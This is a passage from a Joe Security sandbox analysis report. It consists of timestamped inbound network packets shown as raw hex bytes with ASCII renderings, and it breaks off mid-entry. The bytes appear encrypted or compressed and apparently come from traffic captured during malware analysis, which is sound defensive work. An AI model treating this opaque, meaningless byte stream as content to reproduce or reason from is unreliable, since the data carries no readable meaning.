2022-04-25 17:44:44 UTC 113 IN Data Raw: 4f 68 40 6d ba 84 c3 0c 6d d5 35 ad b0 04 25 90 d0 ae a3 3a 26 0b 93 63 c7 7f d7 f9 70 8f 3c 5f 9e 33 97 86 33 47 2b 9a 0d 42 d7 e9 7a da fe 11 a6 83 33 bb 31 3b 04 07 dd ba 58 b3 29 10 36 fc ba bb 6b f1 03 ed 5c 5e 63 7d b0 e9 f5 de 29 d2 ac bc 9d 89 7a ea 32 30 39 98 e3 50 e8 75 a3 5e d9 67 4b d2 ba 80 05 fc 1e ca 51 ec 52 62 b2 4c 18 31 8a 2e 58 85 26 e7 6b 0a cb 8c 5e f4 cd 0c a5 a0 54 49 34 f8 14 fb 3e 42 09 bc a1 bb 5b 1d 1d f8 e6 72 5d 81 40 ef 69 f6 52 dc 07 32 73 aa ea 36 2b af a5 19 49 a1 2b 18 19 2f e0 4f b0 b6 dd fe d3 91 e6 3b ae 83 f8 d0 92 34 ec fb 48 bb 4e dd 57 a4 8d 70 53 64 21 ff af 02 56 4c 86 08 ab dd bb d0 e1 af bf 80 93 12 79 b7 8e b9 9f f1 60 44 b8 1e 26 88 55 de ee 7d 16 0f bf a3 6e 14 41 ed 00 eb d8 b1 3e bd 67 e7 e2 a2 09 74 6e Data Ascii: Oh@mm5%:&cp<_33G+Bz31;X)6k\^c})z209Pu^gKQRbL1.X&k^TI4>B[r]@iR2s6+I+/O;4HNWpSd!VLy`D&U}nA>gtn
2022-04-25 17:44:44 UTC 115 IN Data Raw: 82 26 b3 cb 11 9f 91 3d ad a0 b9 64 e5 c1 47 74 b9 7d 4e 6c d2 27 4c 26 3c 03 50 6b 2b 29 b7 f5 c3 df ce e8 64 50 e5 9b 01 0e 7d 3f bd 5f dd 73 9e 18 18 e2 f0 a4 1b c8 32 0f 31 15 77 7d 5a 9e bd c9 3f ec 45 23 0d eb 38 02 aa 6d ba 8f a8 d9 c3 df 5d b8 90 6e e1 fa 02 af 3d 68 f2 ba a1 fb cf 13 3b 07 76 a2 f1 a1 fe 34 9d 4a 68 cc 9d 09 97 25 1a 37 7a 3a 25 a7 ef 0c 4f 96 2a b1 eb 88 29 8f 78 a7 21 34 cc fd 93 86 0c 0a c5 0e 83 da 41 8b 57 c7 1c 7b 72 cc 57 77 35 1e 3f a7 3a c1 95 09 28 ae d6 44 8e c6 31 02 c8 3e 5c cc 6a 39 b2 1f 5a 61 83 3d 4d 45 61 47 80 a4 d5 e4 8c 7c e2 74 3e 4e fe 89 c3 ec 1e 24 8b 13 bf 9e ff 5c fc dd 9d 35 66 ab b8 50 f9 a4 cb eb 30 72 d5 1b 13 63 6d 06 7b 3c 5f a4 8b 7e 21 35 ce 95 d9 85 e7 f6 e7 0f 6e 4c a5 77 a4 40 6f ad 32 a1 63 Data Ascii: &=dGt}Nl'L&<Pk+)dP}?_s21w}Z?E#8m]n=h;v4Jh%7z:%O*)x!4AW{rWw5?:(D1>\j9Za=MEaG|t>N$\5fP0rcm{<_~!5nLw@o2c
2022-04-25 17:44:44 UTC 116 IN Data Raw: f4 c0 02 4d e7 ac 1d a7 a9 a7 c7 41 fa 3f fb 6e e4 0a c7 f9 6c ec 0a 33 cb e9 66 f6 ce 4c fe 60 cd 40 e2 92 dc bc 57 fb 18 3c 79 b6 1c 59 a7 2b 1f 2c 62 01 b0 48 99 2a fe ff 93 fc 4b 90 85 ee 2a 90 9c 7f f7 03 41 49 c5 a9 a7 a2 01 d3 64 0a 16 b4 13 78 e3 84 0c 8b d7 09 d1 9c f8 96 31 95 38 73 af e1 6c ae f6 66 ad 11 1c 26 86 2a 72 fd 7f 34 30 0d a1 64 6d d7 58 02 e1 d8 a0 42 14 74 e8 fb cc 47 65 45 ae 3d b8 1e 8c f9 35 4f c8 c1 68 62 49 f1 5b 35 5b ab 48 99 3d 92 5c 09 ad 52 92 9e 11 fc 06 74 b3 72 cd 93 37 d4 7e c4 f8 56 77 15 55 59 b0 03 63 96 a7 4d 8a 9c b8 5a d2 20 e6 97 7e 73 f8 9c 54 9f 9e 77 62 0e 0f 6f 8c 27 83 b0 9c 3c 51 73 86 aa 2f 3f 02 72 c6 db ac 72 56 50 98 05 c1 c9 aa 5f aa db e7 ec 46 1c 59 90 a4 dc 9a 4a f9 e6 8d ad 9e 04 f4 f7 35 7a 36 Data Ascii: MA?nl3fL`@W<yY+,bH*K*AIdx18slf&*r40dmXBtGeE=5OhbI[5[H=\Rtr7~VwUYcMZ ~sTwbo'<Qs/?rrVP_FYJ5z6
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 37 of 50
2022-04-25 17:44:44 UTC 117 IN Data Raw: dc 07 97 2a b5 74 3a 02 52 6d a1 3c 3d df fe 90 6b 08 26 d0 1f b5 3e 4b a7 58 c0 e6 73 cf c2 5d 6f 30 19 35 5c 26 13 96 0e 3f 82 5d 42 f6 85 36 0a 40 12 d3 96 6b 56 47 65 12 6a a5 27 5a da 4b 56 85 ba 38 d5 a3 74 03 63 e8 43 e1 81 d0 f8 08 26 8a 31 93 9f d3 59 ea c1 82 3c 9d aa 85 50 ca 65 d1 d4 3d 01 a5 1f 08 97 67 33 76 3b 24 f1 8f 65 db 3c 78 ff f7 88 fb ef e6 60 7a 48 ba 74 35 f8 41 a6 31 a6 54 4e 8a 27 d4 d7 b2 b2 d5 da e7 2f 2a 8d 84 ad 32 09 78 fd fc b1 84 06 6c d2 a2 e6 c0 6b a5 f9 0b 0e 4d 3d 25 f0 fa a3 7c 3e d3 99 9f c6 23 76 c7 2a d5 18 f9 a1 0b 46 0c a3 04 78 e3 90 48 d2 cb 31 3f ca c8 6a 19 d6 6a 73 59 80 8f 1a a1 a5 a5 af cc a8 24 ec 90 90 29 d5 28 06 40 f5 c5 37 d6 54 08 df 5d e2 84 f6 4e 84 c9 2e da dd eb b7 bd 9d 0a 90 da b5 aa 3f 21 ac Data Ascii: *t:Rm<=k&>KXs]o05\&?]B6@kVGej'ZKV8tcC&1Y<Pe=g3v;$e<x`zHt5A1TN'/*2xlkM=%|>#v*FxH1?jjsY$)(@7T]N.?!
2022-04-25 17:44:44 UTC 119 IN Data Raw: 53 eb d2 a3 93 ba 54 fc e5 a5 32 fc 45 aa 34 84 f6 44 fa 3f 3a 51 4d 6f 68 5a f4 5e 05 4c 99 5a e0 70 c1 5c 03 c3 8e 82 bd 0f 5f 01 59 00 53 cb 88 27 93 77 c5 f8 5a 0e 5b 50 59 ba 13 71 52 9c 65 12 9d 90 44 fa 31 ec bf 89 60 f4 9f 96 a4 52 65 64 19 1d d0 52 f9 8f a0 8b 33 47 41 94 d3 fe 6e 02 78 1b 7b bb 3e 86 46 8c 27 4f d3 bc 3a 61 f2 2d e9 6e dd 4f 1d a9 f4 d3 49 ea c2 b4 75 89 13 7e c9 7f 7a 37 1c 9b 56 8f e4 a4 aa 42 e2 52 db d0 87 8d 04 b3 40 b6 a3 7a 6f 7a c6 79 e4 df 43 cf d9 72 03 15 de d8 9b 54 68 c8 81 9a 67 7d 52 64 04 5e 70 15 0d 3c ea 36 81 af 47 a0 c3 68 d7 f2 79 bc 12 5e 0e 00 0b 48 da 2b dd 4b 21 7d 98 0e ab 93 b9 e8 9f d4 13 5c 6d 6e fb c4 b0 39 01 d8 b8 cf 4f 16 63 b0 04 b2 07 92 dd 2a 92 b9 2c ab a0 b3 d7 e2 e9 7b 11 e7 7b 59 96 71 1a Data Ascii: ST2E4D?:QMohZ^LZp\_YS'wZ[PYqReD1`RedR3GAnx{>F'O:a-nOIu~z7VBR@zozyCrThg}Rd^p<6Ghy^H+K!}\mn9Oc*,{{Yq
2022-04-25 17:44:44 UTC 120 IN Data Raw: f7 74 43 d5 a5 7d c1 d1 99 a9 38 b1 46 e8 f3 17 44 c2 90 6e d2 da fc 02 f1 73 85 8b 1d 0c 7a e4 e8 88 38 14 92 d5 98 68 d0 78 a0 f8 0e 1f 46 1f 43 f1 d6 ab 7f 9c eb c9 6a 2a c6 60 b4 5d fd e6 f1 8b 0d 4b b1 a1 04 47 e2 84 5c c1 e2a9 2e c8 4c f5 e8 5c dd a3 58 72 eb ce 2c 80 89 e3 dc bf 32 c3 2b 1a 9e fb f1 8a 47 ff c6 20 c5 42 92 40 c6 6c 33 d4 ac ac 15 26 dd d1 2d 2a 9f b5 27 91 c9 9c b7 08 3d ac 83 61 c7 7b 0e ad 52 98 10 12 f0 e9 91 24 28 c6 14 da 1b 11 0c e8 7a d4 df a7 a0 55 b6 c9 d2 3a 06 7a 86 a0 4a 92 10 cd 36 fb c3 2a 8f 0f f6 03 8a 23 df 5a 4e f5 f3 6e 2b c9 c9 f0 99 fa c3 34 41 2d 10 28 e7 43 f1 4c 01 4d c3 45 13 d5 ab 8b a2 5f 1f ca 55 f8 5d 63 b2 42 87 bd 45 2f 5e ec 16 5e 69 0c d2 38 5e e6 c8 00 a1 b1 5f d0 02 0c 15 f9 4f 68 15 bd a5 6b fa Data Ascii: tC}8FDnsz8hxFCj*`]KG\.L\Xr,2+G B@l3&-*'=a{R$(zU:zJ6*#ZNn+4A-(CLME_U]cBE/^^i8^_Ohk
2022-04-25 17:44:44 UTC 121 IN Data Raw: bc bc f8 e0 af 38 80 05 f2 9e 6c 6b 29 a2 99 63 9b e1 a7 9d d6 1c 53 fd c2 84 c2 18 be 55 b7 2e 6c 78 65 e0 93 f1 e7 61 46 d3 6b df 2e c5 c7 b3 4d 6c c3 81 88 50 c6 ac 65 22 71 83 38 e7 25 9c 77 96 af 5c a6 d0 13 25 f3 55 a8 12 52 6b 04 64 a1 c1 03 3f 59 28 64 9b 10 a8 43 2a ff 80 de c5 49 41 7e e0 e9 cd d1 00 de a7 78 a1 e8 9c 4e 08 9d 05 a6 cb 2a 88 8e 24 55 a1 95 61 e2 cc 7d 6b 91 94 58 92 d9 64 56 3f 37 05 44 6f ca 32 88 e0 d4 c5 d9 f0 5d 50 e5 9b 08 56 44 15 5e 5b b5 20 80 3a 0f 7b 47 9f 0c d7 3e c1 33 39 21 6c 57 f1 a8 c8 3f fb 45 47 d2 b1 38 0f d2 8e ba a3 ac d9 a7 2b 5b a0 64 00 d2 f6 01 ab 55 25 ec 9a b6 62 78 30 25 01 77 5c f7 97 1a 24 b4 78 99 ca e6 4c be 06 1e 34 ff 48 1e a7 ed 7d 3e 27 d4 4a 9a 20 10 bf 7b 8d 2b 28 d3 e4 74 79 21 08 d0 17 c6 Data Ascii: 8lk)cSU.lxeaFk.MlPe"q8%w\%URkd?Y(dC*IA~xN*$Ua}kXdV?7Do2]PVD^[ :{G>39!lW?EG8+[dU%bx0%w\$xL4H}>'J {+(ty!
2022-04-25 17:44:44 UTC 122 IN Data Raw: d7 35 a7 98 28 27 90 da d2 a7 2b 2b 8e c8 63 c7 72 ac bc 71 92 38 e8 f0 df 95 f8 28 e4 00 c4 18 11 47 ea 7a d4 dd 00 a0 46 8c e3 31 09 06 7c 95 be 58 b7 29 0b 3f d0 d2 10 6e e6 f7 fd 78 2f d5 74 b0 e4 cb 90 2a fe a4 ba 92 fa ce f0 cc 3b 3d 2a ca 52 c9 be 10 27 0d 6f 5a dd d5 9c 8b a5 14 e2 47 96 17 69 98 48 af 4d 74 2d 58 b3 0e 5f 69 0f c1 2e 5e e6 ac 36 bb b1 5e d1 93 f9 38 fb 5d 0c 08 bb b3 93 ed 22 1b fe e0 65 8c 8a b3 ff 48 e5 6b e0 b9 2c 8e 2e 2f 32 3c 73 9e eb 59 a7 3c 1f d9 48 30 ae 4d a6 03 fd d3 9b ce 5b a0 84 f8 6a 91 b0 7d ef 09 41 5f a3 65 a6 8e 09 f2 65 52 c5 b7 68 2f e9 bc 9c a1 f5 0b d5 8e 7d 95 31 9b 1e 7b 87 94 75 9e f7 09 21 11 1c 2c ae 1f 7a c4 0b 1e 27 0b ce 9e 1e 69 50 2e cc da b5 39 c4 71 e9 f1 bb 02 be 2a a2 3f 90 d4 84 fb 39 53 9f Data Ascii: 5('++crq8(GzF1|X)?nx/t*;=*R'oZGiHMt-X_i.^6^8]"eHk,./2<sY<H0M[j}A_eeRh/}1{u!,z'iP.9q*?9S
2022-04-25 17:44:44 UTC 124 IN Data Raw: 88 40 74 f3 cc 46 01 c7 1b 58 92 d7 14 59 a4 12 2e 58 5b ca 3f bb a9 d6 d4 ce f0 59 86 1d b6 03 23 55 7a 20 3c a7 30 9b 07 04 f6 62 a3 14 ee 3e 27 12 96 00 7d 5a 81 93 e1 c6 fc 53 2e 0c de 46 64 bc 93 bf bc b3 5b ed f2 55 86 71 76 ed 5e 03 ad 46 34 d4 92 5c 74 78 27 18 70 03 c3 f7 bb 04 2a ab ca 49 e3 e9 6c 89 3f 3e e4 f7 60 25 b8 c8 5f fe 96 2a b3 4f 51 65 cd 6d 8d 3e 20 d7 60 af 55 02 00 de 01 89 35 48 8b 50 ce c6 52 a7 cf 40 7a 1f 77 5a 38 3a ed 93 3d 36 1f 50 6b fa a3 2f 1e ec 24 d0 96 6a 26 91 4c eb 61 83 3f 63 b1 35 26 81 a4 c2 cb 92 e6 2f 59 31 68 e1 95 e3 c7 0b 37 8f 34 4c b6 06 5d fc ca b3 41 e6 cb 95 55 d6 84 ce 62 11 5f cb 39 17 83 4c 71 66 3e 24 ff ab 56 dc 3c 54 fc f6 ea 99 9d e2 60 6f 52 ba e7 ee d4 62 8b 27 a8 70 bc 3e 15 44 d7 99 89 29 db Data Ascii: @tFXY.X[?Y#Uz <0b>'}ZS.Fd[Uqv^F4\tx'p*Il?>`%_*OQem> `U5HPR@zwZ8:=6Pk/$j&La?c5&/Y1h74L]AUb_9Lqf>$V<T`oRb'p>D)
2022-04-25 17:44:44 UTC 125 IN Data Raw: a0 c7 6d fe 3e 93 3b 66 09 bc a1 72 aa 94 3c c4 e5 43 94 d4 6d ed 62 e7 40 fa ba 36 8d 55 fd 1a 56 07 d7 1e 58 a3 25 4e bd 6c 37 be 69 91 93 df c6 97 e4 40 8d aa 01 d5 91 b6 57 8e 76 20 4f dd 53 b9 c6 99 dd 4b 2e d3 a9 20 05 fe 82 08 a1 ea 1a fa 18 a4 97 37 bb 78 0d ce e0 77 9a ee 2f ad 36 31 28 a4 34 3b cc 50 1a 27 0d bc 46 e7 68 5a 04 c1 b8 dc 50 aa 76 ec ee fb 80 41 68 a4 18 8f 94 ae cd 39 3c 46 d7 40 91 5b f5 4b 0c 37 c4 2d f7 fc 94 43 48 58 09 be 90 3d 54 5e 51 ad 55 cb 82 2e 93 45 c7 f8 5a 32 bc 29 38 bb 12 61 59 c4 d7 af b0 9e 68 cd 6c cc 83 85 73 f8 8c aa 75 99 66 62 35 60 23 34 f8 8f a5 87 5d cc 47 af cb 54 20 4f 58 5a df aa 1d 88 7a 61 0e d7 d5 96 5a 0b bb e6 ea 6a c4 16 0a 8b d9 dd 6e e6 ae 85 13 99 04 f2 82 57 83 37 be 8c 5e f1 8e d1 83 da e6 Data Ascii: m>;fr<Cmb@6UVX%Nl7i@Wv OSK. 7xw/61(4;P'FhZPvAh9<F@[K7-CHX=T^QU.EZ2)8aYhlsufb5`#4]GT OXZzaZjnW7^
2022-04-25 17:44:44 UTC 126 IN Data Raw: 73 f8 1a 24 c4 fa 8a 61 25 df c0 1a af ea 20 f5 31 d0 e2 7e 41 b8 da 59 18 17 02 46 4d cd 89 2a 2a 85 6e 6e 0c 84 30 04 e6 57 ad f7 6b 39 b4 7b 65 fa a6 14 47 f9 54 30 a0 87 ce d4 8f 60 22 8d 3f 4e f8 a2 a9 83 69 36 8f 2f 72 e6 65 79 d1 c2 bf 30 e0 8a bd 5d d2 9b cd d0 cd 73 c4 19 22 f7 12 4b 64 3e 20 ff f3 e4 00 10 5a dc c3 fd c7 cc eb 60 6b 54 8d 84 ca f9 6b 87 56 c9 31 c1 3d 11 5b b2 22 84 fd d5 d0 35 47 53 b6 89 31 11 74 f1 d4 59 80 10 94 f9 e4 9b b6 79 a0 fd 05 70 c8 12 f6 ff f0 be 2c 1b d7 c1 60 39 cb 59 51 48 d5 1e d9 e1 75 3c 3d a6 00 58 9f 0a 6d f8 c4 17 31 b4 66 e0 12 58 dd b2 66 a3 99 cc 2a a0 cf d1 ac a2 26 ef 8d 63 04 d8 ca 09 66 e0 bb 01 ef 5e 86 68 49 44 ca df b8 82 e3 4e a3 b6 34 a7 9c aa 59 0a ff 92 a8 0d 34 fa ea 5c cf 7d ac a6 59 76 39 Data Ascii: s$a% 1~AYFM**nn0Wk9{eGT0`"?Ni6/rey0]s"Kd> Z`kTkV1=["5GS1tYyp,`9YQHu<=Xm1fXf*&cf^hIDN4Y4\}Yv9
2022-04-25 17:44:44 UTC 127 IN Data Raw: 9c 0b 42 65 34 3e 90 de ae b5 36 3c 46 db 40 91 5b f5 4b 0c df c4 2d f7 fc 94 7c 9c c2 2c 93 04 3e 66 04 57 b8 cc cb 82 33 9b ed cf f8 5c 01 fe ae 58 ba 14 4f c4 f6 2c 8b 9d 94 6e 72 20 ec bf 19 56 d5 87 a4 ac 38 66 64 1f 2a 09 5c f9 8f bc b0 e9 57 62 84 ef f0 41 63 79 1a dd 8a bc 92 52 98 95 f2 fe ad 16 55 7b e7 ea 6e fb 03 99 ae f4 ce 60 00 e1 a5 51 b5 82 8c f9 7e 7a 32 9e 28 74 9b f0 2a a7 f7 f0 74 f1 66 af 46 07 93 24 a9 2e 7d 70 77 ef 94 f1 cb 6d 7d 5b 0c 68 3c cf dc bb fd 7b c3 90 05 6a f3 43 42 2e d5 8a 14 0d 1a ea 6d 81 af 53 99 36 1d db f4 53 21 7d 34 7b 0c 0f 68 65 03 35 4a bb 5e a6 11 99 63 9f e8 9f d5 1b 3f 64 6e f1 f3 fe 13 f8 df a1 44 62 94 1d d0 16 91 12 91 6e 3b 9f 91 a7 8e 8d a8 53 d3 6f 6c 6f b9 5a cb 9b d3 0b 59 16 ce 02 57 7b ff aa e5 Data Ascii: Be4>6<F@[K-|,>fW3\XO,nr V8fd*\WbAcyRU{n`Q~z2(t*tfF$.}pwm}[h<{jCB.mS6S!}4{he5J^c?dnDbn;SoloZYW{
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 38 of 50
2022-04-25 17:44:44 UTC 129 IN Data Raw: 8d fd b7 50 c0 a7 30 69 d9 9e 81 15 da f6 2a 1d fc 8e 81 31 09 43 01 fd a0 87 3a 10 ad ef e4 d7 7c 80 3f 1a 0b 52 ad fe dc c7 87 77 fd eb c9 60 19 4d 7a a8 49 cc 30 0a 8a 0b 5b 16 20 7a 26 e2 90 4c f5 0d 31 2e c8 dc f8 37 4a fb 85 89 5a 98 cc 0c 1e ae af cd bc 3e c3 6b 1f 9e fb cd 81 3e 9e c7 21 d5 76 4e 68 5e 6c a9 fb 95 96 ef 04 15 d7 35 a7 b8 19 2c 90 da a0 ab 03 d2 85 ca 65 ed ff d2 dd 70 8f 3c c8 38 e9 97 86 a3 c0 2d df 29 19 5d e8 7a de d7 b9 ab 55 bc f8 19 c2 07 7c 93 91 da c9 59 1c 34 ff e9 da 69 f1 09 66 71 00 dc 59 90 29 dd 6e 2b f2 1a a6 99 fa d0 c0 cb 3b 11 2e cb d6 9c 3c 13 5c dd 4d 91 d7 ab 8d 10 80 33 d8 75 b7 dc 63 b2 48 8f e1 4f 2f 58 9c 07 77 90 0b c1 28 65 72 d9 7c a1 b1 5d e6 a1 f8 14 f9 df 22 25 ad 83 4d 20 0e 19 e9 cb ad 80 92 4d e0 Data Ascii: P0i*1C:|?Rw`MzI0[ z&L1.7JZ>k>!vNh^l5,ep<8-)]zU|Y4ifqY)n+;.<\M3ucHO/Xw(er|]"%M M
2022-04-25 17:44:44 UTC 130 IN Data Raw: 1a 01 1b 37 be 8e 54 77 f0 b0 82 40 c7 7f c0 e2 8f aa 07 b3 46 80 8c 73 6f 7a de 45 09 ca 6b 51 f3 f0 77 5c ce d8 9f 7e 96 c3 90 9f d5 fb 7f 75 28 56 67 14 0d 3a a5 c1 8f af 4d a9 e7 e5 da f2 7f 8d 81 2b 1b 0d 0b 4c e1 ed 35 4a 21 e1 ae 2e ae 65 1b 06 9f d5 3b 68 ca 60 f1 ec fe 13 f8 df a1 44 62 94 1d d0 16 91 12 91 24 3b 9f 91 a7 8e 8d a8 53 d3 25 6c 6f b9 5a f5 9c d3 0b 54 16 ce 02 57 7b ff ae e5 96 d5 d4 ca cf 8c ae e4 b7 99 00 52 06 78 7d 56 30 9f 18 3c dc 49 8e 1b d7 3c 17 cb 14 02 7b 70 1c cb a8 3e fd 57 08 d7 b0 38 05 27 b6 96 b2 8c e1 39 df 5a a0 4e a2 c3 f7 01 b7 6e d2 f2 ba a3 5f fa 5f 53 1f 7d a6 d6 49 00 35 b1 ca 49 e3 f7 6c b6 d7 1e 34 f5 40 f4 a9 ed 77 1e bf d3 b4 65 39 31 2e 12 ec 3b 3f c8 da 79 78 0d 26 5b 3f 84 d1 6c ab a3 d1 e2 7a 7e 1a Data Ascii: 7Tw@FsozEkQw\~u(Vg:M+L5J!.e;h`Db$;S%loZTW{Rx}V0<I<{p>W8'9ZNn__S}I5Il4@we91.;?yx&[?lz~
2022-04-25 17:44:44 UTC 131 IN Data Raw: a2 0b 38 85 ca 63 5d 58 81 ae 57 af 2b e9 f1 e9 b7 75 36 e5 00 d1 02 11 6d e9 7a d8 dd 86 de 34 bd e1 35 1b 12 7d 95 bb c2 92 15 0f 12 db dd 11 69 f1 29 fc 44 2d cd 60 a7 cb 24 6f 2b d4 8c 2f e7 9b c8 e8 36 1a 04 29 e1 50 78 78 3f 4d ff 4d 4f d6 ab 8d aa b2 0e ca 53 8b 3f 9a b3 48 a9 74 c2 51 39 82 0e 5b 49 1c c0 2e 4f 6a 82 30 b2 97 79 d0 6c f8 14 d9 58 17 08 bc ba 75 c4 f7 18 e9 ed 4f 0d ec 2c ff 64 e3 60 f5 93 cf 8c cf de 1d 2e 5f 96 08 59 a7 3a 29 12 59 1a b0 50 85 fc 06 d2 91 e2 6a 16 fc 99 d5 91 b4 5d f8 09 41 4e 47 72 8b 9c 25 d8 7e 20 f5 b6 48 65 f2 84 08 be ee 23 2b e0 a5 91 1b 13 6c 12 ae e1 73 be e8 67 37 13 86 03 af 3a 54 cc 64 1d 27 0d 81 35 0e 69 5a 1e c3 2b a3 31 ad 5c 6e 8f d0 1b 64 41 8a 24 91 de 8e 63 1a 11 54 e6 48 72 5b f5 4d 06 3c aa Data Ascii: 8c]XW+u6mz45}i)D-`$o+/6)Pxx?MMOS?HtQ9[I.Oj0ylXuO,d`._Y:)YPj]ANGr%~ He#+lsg7:Td'5iZ+1\ndA$cTHr[M<
2022-04-25 17:44:44 UTC 133 IN Data Raw: 45 ba 2a 0a 4e 38 1d 85 29 1c d4 28 9f d7 ee d5 ce ef e6 8b c9 a5 25 05 45 15 5e 5d 86 be 8d 18 1c 73 50 a6 e2 c9 21 39 18 93 7c 1c 5b 9e b1 e9 04 fc 53 28 bc 95 15 17 9b b3 80 a2 aa c1 e8 7a 48 a0 6e 70 c3 df f8 ac 46 2d d9 3c db 14 79 21 36 3e 41 a3 f6 bb 9a 10 9c 42 4a ee da 4b 96 25 3e 87 e7 60 25 b8 fd 5f fe 96 2a b3 4f bd 65 cd 6d 8d 3e 1f f1 fb 8a 78 97 03 ec 0b 8f e0 77 8a 50 d1 c2 b9 4c ce 40 62 1d e0 25 59 3d c7 11 5c 4b 84 75 42 d5 bb 31 02 cc a7 f6 bb 78 1f 90 5a 13 60 83 19 82 cd 4b 47 9f b6 ee 2d 8e 7c 0c 5e b8 30 9f 89 c3 f9 28 08 8e 2b 6d 04 da 71 ee ea b9 10 99 aa 94 75 0f 89 d0 f8 2b 78 ec e6 09 9d 6a 00 e3 40 45 e1 8a 7a 05 7d 55 fa dc 1e c2 d1 f1 46 4b 0d a4 7d cb d9 8a bf 38 b7 4f db 15 ec 45 c8 be 8b 56 a4 97 2b 3d 77 a5 c0 30 11 6b Data Ascii: E*N8)(%E^]sP!9|[S(zHnpF-<y!6>ABJK%>`%_*Oem>xwPL@b%Y=\KuB1xZ`KG-|^0(+mqu+xj@Ez}UFK}8OEV+=w0k
2022-04-25 17:44:44 UTC 134 IN Data Raw: dc a4 6d ec 2e 99 fd eb 65 94 98 65 07 65 e7 46 c8 14 b1 ed 54 fb 34 1c 18 b7 1f 58 3d 1f 24 35 6f 3a d1 4e 8e d4 df 59 85 e4 40 8f 8b d0 2d 90 b0 7b ca 8e 3f 2f dc 57 a2 ae 61 f9 66 21 6f 93 45 37 c4 a4 6a a0 f5 0b f2 72 b1 97 31 8e 32 5b 56 e0 77 98 db e4 49 72 1d 26 86 0b 11 ed 7d 1c bd 28 8c 7f 38 49 39 03 eb d2 82 82 bf 76 e8 ef 99 e3 65 45 ac 14 16 a0 ef f8 3f 38 66 a4 69 68 5a 6f 68 0b 4f 9c 6c 92 fd 90 5c 23 79 38 93 9e 04 5c 3d 88 99 53 cd a8 b5 c5 dd c7 f8 58 38 b3 56 59 ba 88 40 6b 9a 6b aa f8 91 4e d2 00 3e ab 83 73 e7 80 aa 75 99 66 62 35 8c 23 34 f8 8f a5 b8 76 57 62 82 5f 57 12 10 5e 3a bf ab 1d 92 72 70 1b d7 d3 a3 3c 5d 23 e6 ea 68 f1 de ee cf f5 d3 4c d9 87 a4 57 9f 9e d7 b5 6d 5c 16 d9 8b 74 9b d0 44 96 da e2 4d d8 ec 56 47 07 b5 6c 22 Data Ascii: m.eeeFT4X=$5o:NY@-{?/Waf!oE7jr12[VwIr&}(8I9veE?8fihZohOl\#y8\=SX8VY@kkN>sufb5#4vWb_W^:rp<]#hLWm\tDMVGl"
2022-04-25 17:44:44 UTC 135 IN Data Raw: 06 46 1b a9 c0 d0 ae 7d c3 c4 5a d9 cf 40 7c 15 c0 32 59 3b f2 b3 0a d3 84 75 40 df 03 4e 63 cd 3d d7 b6 e2 38 b0 64 88 45 ae 2b 6f ff c3 46 80 a4 e6 29 99 7c 0a 6b 31 66 07 89 c3 fb 22 b1 f1 4a 6c 9e fb 7c 75 cd 99 2f 02 8f b9 47 f4 bb 59 f9 34 72 e4 13 1f 9d 6c 35 41 16 dd e1 8a 78 0f bb 2a 9b dd 84 e3 dc 69 61 6b 4d 3f 58 e6 eb 4b 8d b2 b6 50 c0 1d 25 53 c8 b8 be c3 f2 0f 2b 3d 75 af 07 4f 70 6a f8 f8 80 0a 11 92 d3 14 c0 fa 6a 86 d9 91 0a 52 37 fb b2 c1 a1 57 24 cf e1 99 38 dc 77 82 cf ab 79 f2 8b 0f 7d b0 a7 04 47 79 b5 65 c7 ec 11 a2 c9 46 dd 3a 3f ca a5 4e 45 bd e4 d5 8b a5 a9 e7 25 58 8a 93 1e 9a dd 6a 06 40 ff 5c 04 fc 44 a0 48 d3 6d 33 de 98 08 de 24 dd c8 11 8f 61 b4 27 96 f0 39 d8 4a 2a 84 ce 43 49 7c ac bc eb aa 15 fa d7 c9 19 87 39 e5 20 7e Data Ascii: F}Z@|2Y;u@Nc=8dE+oF)|k1f"Jl|u/GY4rl5Ax*iakM?XKP%S+=uOpjjR7W$8wy}GyeF:?NE%Xj@\DHm3$a'9J*CI|9 ~
2022-04-25 17:44:44 UTC 136 IN Data Raw: d1 c6 3d 46 c6 42 ee 24 94 4c 26 59 9a e2 f7 fc 90 c6 26 ef 3e b5 be b5 4a 15 71 b8 b7 d2 82 33 a4 b1 ee 01 5d 18 d0 7d df c4 73 64 46 8c 6d 25 9c 90 4e 48 05 c1 ad a5 53 57 97 82 8c b8 97 7d 1f 0a 42 59 d1 76 a0 98 16 7c e4 fc a4 73 3f 06 58 aa d8 aa 1d 08 77 b5 1d f1 f3 0c 31 75 da c7 17 77 db 58 8f a4 dc 2a 49 f9 e6 8f d1 e1 65 f3 98 7b 5a 87 bf 8a 74 01 d5 9d 90 fc c2 e3 d0 c4 af 66 00 a9 46 a0 31 76 47 83 c6 6d f6 e1 ed 29 b8 73 09 39 ef 6a 9a 5e 7b 59 b5 b2 5d f8 72 d6 0f 76 8a 34 1f 20 85 64 9e 99 65 48 ce 1c dd d8 fb d9 62 54 7a 08 2b fb c0 03 35 d0 04 56 9a 25 9f f0 3a e8 9f f5 73 52 6d 6e ec c4 1c 3a 01 d8 8b c0 36 77 62 b1 13 b1 a2 b0 cb 3b 05 b4 10 ba 86 99 c1 f2 ca 6c 4f f6 60 59 92 cd 23 b7 3f 37 05 7d fb ab 49 9a f7 d0 f4 7b ee 7c ae 7e 92 Data Ascii: =FB$L&Y&>Jq3]}sdFm%NHSW}BYv|s?Xw1uwX*Ie{ZtfF1vGm)s9j^{Y]rv4 deHbTz+5V%:sRmn:6wb;lO`Y#?7}I{|~
2022-04-25 17:44:44 UTC 138 IN Data Raw: b9 a1 d0 fa ff 36 3d 73 9a 8e 19 e8 6a f8 fa 8a 03 6e f3 d2 8e e1 f7 ad a1 f9 1a 91 77 1a ca d7 f6 74 56 3b eb e9 78 25 dc 71 b0 61 2c 19 f3 8d 21 db 42 c7 05 47 e7 b0 9e d4 ca 31 b4 ed 6b cf 3c 78 0b a4 4e 5a b8 d6 30 8a a5 b0 d1 8b df ea 92 18 b4 7b 99 66 41 ff c2 01 06 57 86 68 c4 49 1e cc 9e a4 1e 25 dd d7 15 91 84 b5 27 8f d3 97 5f 2a 2b 82 e0 e1 b9 1c ad bc 75 af e0 e9 f1 e9 0d a3 14 f4 26 ee d7 38 94 e8 5a e1 eb 00 a0 42 94 18 30 3b 00 56 13 c5 39 b6 38 19 14 22 c8 10 69 6b 2c d1 46 0b ed a6 b1 e3 dd 4e 6b ce a6 ad 86 f3 e1 11 33 3a 17 02 63 2e 83 5c 12 58 f9 b7 5b d7 ab 17 af 88 0f ec 73 4d 16 63 b2 68 e6 42 44 2f 40 ab f7 5e 69 0c 